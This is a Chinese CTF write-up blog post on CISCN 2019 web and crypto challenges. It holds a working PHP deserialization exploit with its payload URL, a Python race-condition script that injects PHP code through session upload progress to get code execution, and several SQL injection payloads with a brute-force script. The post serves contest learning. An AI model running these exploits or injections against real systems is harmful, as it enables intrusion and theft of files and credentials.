2019全国信息安全大赛

time: 2019-04-27 11:36

web1

image.png

查看源码
图片.png

然后文件包含,读取hint.php
获取到的源码:

http://b61818746d3d4bd9840914f5b107e98298d37d27278746d1.changame.ichunqiu.com/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php

经过base64解码,得到hint.php源码:
hint.php

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
public function __construct($handle) { 
        $this->handle = $handle; 
    } 
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
    }

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?>

index.php


<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
         die('stop hacking!');
         exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->

</html>

通过GET获取两个参数:file和payload。
Hint.php中有两个类Flag和Handle。主要是通过Handle来调用Flag的getFlag()函数。但在Handle中存在wakeup()函数,该函数会重置所有变量,导致传入的Flag类对象为空。这里可以利用增加对象个数的方式来绕过wakeup函数。
除此之外,在getFlag()函数前面,会重新给token_flag赋值,将会导致token和token_flag的值不同,因而无法拿到flag。这里需要使用取地址符号&,让

$token=&$token_flag

即可。但最后在index.php中还有一个判断是否存在flag字符,如果存在,页面将会终止。但输入多个斜杠即可绕过- -。///

PHP生成的POC如下:

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token = &$this->token_flag;

    }
    public function getFlag(){
        
        $this->token_flag = md5(rand(1,10000));

        if($this->token === $this->token_flag)
        {

            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}


$o=new Flag("flag.php");

$oo=new Handle($o);
$ser=serialize($oo);

print $ser;
?>

注意 Handle 里的 handle 是私有成员变量,所以得特殊处理下,里面的方块那记得换成 %00。
将生成的payload中的变量个数1改成2,然后增加几个//放到url后面即可绕过- -。

最后的payload。

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

图片.png

解法二

包含session文件以RCE
这道题默认没有session,我们可以通过伪造固定session,post一个空文件以及恶意的PHP_SESSION_UPLOAD_PROGRES来执行构造的任意代码。 PHP_SESSION_UPLOAD_PROGRES是一个常量,他是php.ini设置中session.upload_progress.name的默认值,session.upload_progress是PHP5.4的新特征。下面是我本地php5.4的默认配置:
image

讲一下个别配置的含义:

  • session.upload_progress.cleanup 是否在上传结束清除上传进度信息,默认为on
  • session.upload_progress.enabled 是否开启记录上传进度信息,默认为on
  • session.uploadprogress.prefix 存储上传进度信息的变量前缀,默认为upload_progress
  • session.upload_progress.name POST中代表进度信息的常量名称,默认为PHP_SESSION_UPLOAD_PROGRES如果
  • _POST[session.upload_progress.name]没有被设置, 则不会报告进度

可以看到,session.upload_progress.cleanup默认是开启的,这意味着我们上传文件后,进度信息会被删除,我们也就不能直接包含session文件,这就需要利用条件竞争,趁进度信息还未被删除时包含session文件。

条件竞争 一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计不合理时,将会导致一系列问题的发生。

我们写一个脚本,一个线程不断上传空文件(同时post伪造的恶意进度信息),另一些线程不停地访问session临时文件,总有几次我们会在服务端还没有删除进度信息时访问到session临时文件。

python脚本:

import requests
import threading

url='http://127.0.0.1/index.php'
r=requests.session()
headers={
    "Cookie":'PHPSESSID=123'
}
def POST():
    while True:
        file={
            "upload":('','')                                                    #上传无效的空文件
        }
        data={
            "PHP_SESSION_UPLOAD_PROGRESS":'<?php readfile("./flag.php");?>'     #恶意进度信息,readfile将直接输出文件内容
        }
        r.post(url,files=file,headers=headers,data=data)

def READ():
    while True:
        event.wait()
        t=r.get("http://127.0.0.1/index.php?file=../tmp/tmp/sess_123")
        if 'flag' not in t.text:
            print('[+]retry')
        else:
            print(t.text)
            event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

RCE拿到flag内容:
image
因为比赛是下发的docker容器,写shell意义不大,但是的确通过这个脚本读到了flag。
这个方法依赖于php.ini的一些配置选项,以及session目录的信息,不过大多数情况下这些都是默认的。这是战队的一位很有才的新生想到的。

web2

image.png

报错配和盲注
发现or||被过滤,采用^配合AND进行注入。发现SLEEPBENCHMARK被过滤,使用正则DoS方式进行时间盲注。又由于不知道列名,因此再套一层,Payload如下:

admin'^(select+(select b from (select 1 as a,2 as b from user where 1=2 union select * from user) b) like'f1ag%'+and+concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'))+RLIKE+'(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bb')^'1'%3d'1#

后发现,还可以使用报错注入。如果报错,页面会提示“数据库操作错误”。基本Payload如下:

username='^(select exp(~((select (  (( select c.b from (select 1 as a,2 as b,3 as d from user union select * from user)c where a='admin' )) ))*18446744073709551615)))#&password=admin

很快注出密码是f1ag@1s-at_/fll1llag_h3r3,不过因为大小写不正确,要使用binary like。最终验证:

username='^(select exp(~((select( 2*length(( select c.b from (select 1 as a,2 as b from user union select * from user)c where a like binary 'admin' and b like binary 'F1AG@1s-at\_/fll1llag\_h3r3' ))=25))*18446744073709551615)))#&password=1

登录进去后伪造mysql服务,最近至少出现了三次,利用MySQL来手动读文件。https://github.com/allyshka/Rogue-MySql-Server/

smi1e师傅的

import string

url = 'http://39.106.224.151:52105/'

http://39.106.224.151:52105/'
st = '1234567890'+string.ascii_letters+string.punctuation
flag = ''

for i in range(29,50):
for s in st:
payload = "admin' and (select updatexml(0,unhex(((select substr(( select group_concat(`1`,`2`) from (select 1,2 union select * from user)a limit 1),{},1))='{}')^60),0))#".format(i,s)
#payload ="admin' and (select updatexml(0,unhex(((select substr((select '123456'),{},1))='{}')^60),0))#".format(i,s)

#print(payload)
data={
'username':'{}'.format(payload),
'password':'admin'
}

a = requests.post(url,data=data)
a.encoding="UTF-8"
#print(a.text)
if '登陆失败' in a.text:
flag += s
break
print(flag)

密码学

密码1

解题思路:将Part1,Part2,Part3,Part4,和a1,a2,a3,a4的积解出,并将其转化为16进制,填入flag的各个模块。

图片.png

解方程组,解出a1,a2,a3,a4,可以直接用网站工具进行解出a1,a2,a3,a4,并求其积的值。

图片.png

通过求两数之间的差值,发现每两个数之间都相差37个质数,由此可得part1=5399

[外链图片转存失败(img-mgDwx0Bt-1562586990727)(https://upload-images.jianshu.io/upload_images/9113981-53a2ab1eacb3f6ac.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

进行求解,解出Part2,Part2=7700

图片.png

通过解题得Part3=18640

图片.png

Part4=40320

将Part1,Part2,Part3,Part4,a1a2a3*a4转换为16进制,填入flag中,即可得出flag.
最终结果为flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

其他大佬的wp

https://www.ctfwp.com/articals/2019national.html

https://www.zhaoj.in/read-5417.html

https://xz.aliyun.com/t/4906#toc-7

https://xz.aliyun.com/t/4904#toc-2

https://www.52pojie.cn/thread-936377-1-1.html

https://impakho.com/post/ciscn-2019-online-writeup

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

BerL1n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值